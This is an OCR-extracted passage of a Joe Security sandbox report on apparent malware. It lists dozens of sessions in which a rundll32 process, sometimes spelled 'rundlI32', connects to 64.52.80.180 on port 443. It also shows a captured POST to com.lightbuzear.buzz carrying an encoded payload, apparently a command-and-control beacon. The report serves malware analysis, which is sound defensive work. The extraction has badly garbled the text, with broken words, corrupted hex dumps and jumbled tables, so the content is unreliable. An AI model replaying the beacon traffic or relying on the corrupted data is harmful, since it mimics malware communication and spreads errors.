64.52.80.180 443 C:\Windows\System32\rundll32.exe
Data

Destination IP Destination Port Process

64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Data

Destination IP Destination Port Process

64.52.80.180 443 C:\Windows\System32\rundlI32.exe
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kBytes

Ti t

tmestamp transferred
Session ID Source IP
16 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
17 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
18 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
19 192.168.2.22

. kBytes
Ti t

‘mestamp transferred
Session ID Source IP
2 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
20 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
21 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
22 192.168.2.22

. kBytes
Ti t

(ISR transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49188

Direction

Source Port

49189

Direction

Source Port

49190

Direction

Source Port

49191

Direction

Source Port

49174

Direction

Source Port

49192

Direction

Source Port

49193

Direction

Source Port

49194

Direction

Data

Destination IP Destination Port

64.52.80.180 443

Data

Destination IP Destination Port

64.52.80.180 443

Data

Destination IP Destination Port

64.52.80.180 443

Data

Destination IP Destination Port

64.52.80.180 443

Data

Destination IP  Destination Port

142.250.185.228 443

Data

Destination IP  Destination Port

64.52.80.180 443

Data

Destination IP Destination Port

64.52.80.180 443

Data

Destination IP Destination Port

64.52.80.180 443

Data

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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Session ID Source IP
23 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
24 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
25 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
26 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
27 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
28 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
29 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
3 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
30 192.168.2.22

. kBytes
Ti t

(TSR transferred

Copyright Joe Security LLC 2022

Source Port

49195

Direction

Source Port

49196

Direction

Source Port

49197

Direction

Source Port

49198

Direction

Source Port

49199

Direction

Source Port

49200

Direction

Source Port

49201

Direction

Source Port

49175

Direction

Source Port

49202

Direction

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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kBytes

Ti t

tmestamp transferred
Session ID Source IP
31 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
32 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
33 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
34 192.168.2.22

. kBytes
Ti t

‘mestamp transferred
Session ID Source IP
35 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
36 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
37 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
38 192.168.2.22

. kBytes
Ti t

(ISR transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49203

Direction

Source Port

49204

Direction

Source Port

49205

Direction

Source Port

49206

Direction

Source Port

49207

Direction

Source Port

49208

Direction

Source Port

49209

Direction

Source Port

49210

Direction

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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Session ID Source IP
39 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
4 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
40 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
41 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
42 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
43 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
44 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
45 192.168.2.22

. kBytes
Timestam

imestamp transferred
Session ID Source IP
46 192.168.2.22

. kBytes
Ti t

(TSR transferred

Copyright Joe Security LLC 2022

Source Port

49211

Direction

Source Port

49176

Direction

Source Port

49212

Direction

Source Port

49213

Direction

Source Port

49214

Direction

Source Port

49215

Direction

Source Port

49216

Direction

Source Port

49217

Direction

Source Port

49218

Direction

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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kBytes

Ti t

tmestamp transferred
Session ID Source IP
47 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
48 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
49 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
5 192.168.2.22

. kBytes
Ti t

‘mestamp transferred
Session ID Source IP
50 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
51 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
52 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
53 192.168.2.22

. kBytes
Ti t

(ISR transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49219

Direction

Source Port

49220

Direction

Source Port

49221

Direction

Source Port

49177

Direction

Source Port

49222

Direction

Source Port

49223

Direction

Source Port

49224

Direction

Source Port

49225

Direction

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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Session ID Source IP
54 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
55 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
56 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
57 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
58 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
59 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
6 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
60 192.168.2.22

. kBytes
Timestam

imestamp transferred
Session ID Source IP
61 192.168.2.22

. kBytes
Ti t

(ISR transferred

Copyright Joe Security LLC 2022

Source Port

49226

Direction

Source Port

49227

Direction

Source Port

49228

Direction

Source Port

49229

Direction

Source Port

49230

Direction

Source Port

49231

Direction

Source Port

49178

Direction

Source Port

49232

Direction

Source Port

49233

Direction

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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kBytes

Ti t

tmestamp transferred
Session ID Source IP
62 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
63 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
64 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
65 192.168.2.22

. kBytes
Ti t

‘mestamp transferred
Session ID Source IP
66 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
67 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
68 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
69 192.168.2.22

. kBytes
Ti t

(ISR transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49234

Direction

Source Port

49235

Direction

Source Port

49236

Direction

Source Port

49237

Direction

Source Port

49238

Direction

Source Port

49239

Direction

Source Port

49240

Direction

Source Port

49241

Direction

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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Session ID Source IP
7 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
70 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
71 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
72 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
73 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
74 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
75 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
76 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
7 192.168.2.22

. kBytes
Ti t

(TSR transferred

Copyright Joe Security LLC 2022

Source Port

49179

Direction

Source Port

49242

Direction

Source Port

49243

Direction

Source Port

49244

Direction

Source Port

49245

Direction

Source Port

49246

Direction

Source Port

49247

Direction

Source Port

49248

Direction

Source Port

49249

Direction

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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kBytes

Ti t

tmestamp transferred
Session ID Source IP
78 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
79 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
8 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
80 192.168.2.22

. kBytes
Ti t

‘mestamp transferred
Session ID Source IP
81 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
82 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
83 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
84 192.168.2.22

. kBytes
Ti t

(ISR transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49250

Direction

Source Port

49251

Direction

Source Port

49180

Direction

Source Port

49252

Direction

Source Port

49253

Direction

Source Port

49254

Direction

Source Port

49255

Direction

Source Port

49256

Direction

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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Session ID Source IP
85 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
86 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
87 192.168.2.22

. kBytes
Ti t

fmestamp transferred
Session ID Source IP
88 192.168.2.22

. kBytes
Ti t

imestamp transferred
Session ID Source IP
89 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
9 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
90 192.168.2.22

. kBytes
Timestam

! P transferred
Session ID Source IP
91 192.168.2.22

. kBytes
Timestam

imestamp transferred
Session ID Source IP
92 192.168.2.22

. kBytes
Ti t

(ISR transferred

Copyright Joe Security LLC 2022

Source Port

49257

Direction

Source Port

49258

Direction

Source Port

49259

Direction

Source Port

49260

Direction

Source Port

49261

Direction

Source Port

49181

Direction

Source Port

49262

Direction

Source Port

49263

Direction

Source Port

49264

Direction

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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kBytes

Timestamp transferred
Session ID Source IP

93 192.168.2.22

. kBytes
Timestamp transferred
Session ID Source IP

94 192.168.2.22

. kBytes
LLLLEE L transferred
Session ID Source IP

95 192.168.2.22

. kBytes
WILEETD: transferred
Session ID Source IP

96 192.168.2.22

. kBytes
WICEET transferred
Session ID Source IP
97 192.168.2.22

. kBytes
Tim m
estamp transferred

Session ID Source IP
98 192.168.2.22

. kBytes
Tim m

imestamp transferred
Session ID Source IP
99 192.168.2.22

. kBytes
Timestamp transferred
HTTPS Proxied Packets
Session ID Source IP
0 192.168.2.22

Copyright Joe Security LLC 2022

Direction

Source Port

49265

Direction

Source Port

49266

Direction

Source Port

49267

Direction

Source Port

49268

Direction

Source Port

49269

Direction

Source Port

49270

Direction

Source Port

49271

Direction

Source Port

49172

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

64.52.80.180

Data

Destination IP

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination Port

443

Destination
Port

142.250.185.228 443

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundll32.exe

Process

C:\Windows\System32\rundlI32.exe

Process

C:\Windows\System32\rundlI32.exe
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kBytes

Timestam
P transferred

2022-08-14 06:39:27 UTC 0

2022-08-14 06:39:27 UTC 0

2022-08-14 06:39:27 UTC 0

2022-08-14 06:39:27 UTC 1

Session ID Source IP
1 192.168.2.22
. kBytes
Tim m|
estamp transferred

2022-08-14 06:39:27 UTC 2

2022-08-14 06:39:27 UTC 2

2022-08-14 06:39:27 UTC 2

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49173

Direction

ouT

Data

POST /HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: www.Google.com

Content-Length: 0

Cache-Control: no-cache

HTTP/1.1 405 Method Not Allowed

Allow: GET, HEAD

Date: Sun, 14 Aug 2022 06:39:27 GMT

Content-Type: text/html; charset=UTF-8

Server: gws

Content-Length: 1589

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 3035 20 28 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3
€ 737479 6¢ 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f
64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 405 (Method Not Allowed)!!1</title> <style> *{margin:0;padding:
O}html,codeffont:15px/22px aria

Data Raw: 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5
63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73
63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74
69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b

Data Ascii: ges/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-im
age:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and
(-webkit-min-device-pixel-ratio:2){#logo{back

Destination IP SEEIREIT Process
Port
142.250.185.228 443 C:\Windows\System32\rundlI32.exe

Data

POST /HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: www.Google.com

Content-Length: 0

Cache-Control: no-cache

HTTP/1.1 405 Method Not Allowed

Allow: GET, HEAD

Date: Sun, 14 Aug 2022 06:39:27 GMT

Content-Type: text/html; charset=UTF-8

Server: gws

Content-Length: 1589

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢ 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3035 20 28 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3
€ 7374 79 6¢ 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2 63 6f
64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 405 (Method Not Allowed)!!1</title> <style> *{margin:0;padding:
O}html,code{font:15px/22px aria
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kBytes

Timestam
P transferred

2022-08-14 06:39:27 UTC 3

Session ID Source IP
10 192.168.2.22
. kBytes
Ti t
fmestamp transferred

2022-08-14 06:39:36 UTC 18

2022-08-14 06:39:36 UTC 18

2022-08-14 06:39:37 UTC 19

2022-08-14 06:39:37 UTC 19

Session ID Source IP
100 192.168.2.22
. kBytes
Tim m|
imestamp transferred

2022-08-14 06:41:15 UTC 166

2022-08-14 06:41:15 UTC 166

2022-08-14 06:41:16 UTC 167

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49182

Direction

ouT

ouT

Source Port

49272

Direction

ouT

ouT

Data

Data Raw: 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5
63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6€ 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73
63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74
69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b

Data Ascii: ges/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-im
age:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and
(-webkit-min-device-pixel-ratio:2){#logo{back

Destination IP DL WL Process

Port
64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
78327447 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOKA4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmMbaa56+RpY TTOtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDXtt2vti4BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:39:36 GMT
